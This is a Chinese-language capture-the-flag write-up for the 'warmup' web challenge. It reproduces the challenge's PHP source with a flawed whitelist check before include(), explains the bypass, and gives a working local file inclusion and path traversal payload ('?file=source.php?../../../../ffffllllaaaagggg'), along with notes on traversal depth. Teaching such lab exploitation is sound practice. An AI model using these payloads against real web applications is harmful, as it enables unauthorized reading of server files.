文件包含、linux路径回溯

文件包含、linux路径回溯

tao

2025-09-24 发布9 浏览 · 0 点赞 · 0 收藏

攻防世界例题:warmup
![[屏幕截图 2025-07-23 002436.png]]

查看源码,发现有source.php的提示
访问source.php文件
页面显示源码

<?php  
    highlight_file(__FILE__);  
    class emmm    {  
        public static function checkFile(&$page)  
        {            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";  
                return false;  
            }  
  
            if (in_array($page, $whitelist)) {  
                return true;  
            }            $_page = mb_substr($page,0,mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }            $_page = urldecode($page);    
            $_page = mb_substr($_page,0,mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
            echo "you can't see it";  
            return false;  
        }  
    }  
  
    if (! empty($_REQUEST['file'])  
        && is_string($_REQUEST['file'])  
        && emmm::checkFile($_REQUEST['file'])  
    ) {  
        include $_REQUEST['file'];  
        exit;  
    } else {  
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  
    }  ?>

通过代码分析,可知目录下还有hint.php文件,访问发现
![[file-20250725152324438.png]]

根据提示,可以知道flag可能在ffffllllaaaagggg中
再次回到代码审计
定义了一个类,将file的值传入了page的参数中,
file中必须含有白名单内的两个,source.php 和hint.php
可以构造

?file=source.php?

利用linux中的路径回溯,定位到ffffllllaaaagggg文件

../ffffllllaaaagggg
../../ffffllllaaaagggg
../../../ffffllllaaaagggg
../../../../ffffllllaaaagggg

最终payload为

?file=source.php?../../../../ffffllllaaaagggg

如果php?后面不加/的话,似乎需要5次…/才可以,这是为什么呢?
按照那个include的说明,就是include会把第一个/后面的路径作为访问路径来寻找文件,所以你就算?../…/…/…/…/ffffllllaaaagggg或者是?随便什么东西/…/…/…/…/ffffllllaaaagggg,均可以实现访问,/代表寻找路径的开端。

请前往 登录/注册 即可发表您的看法…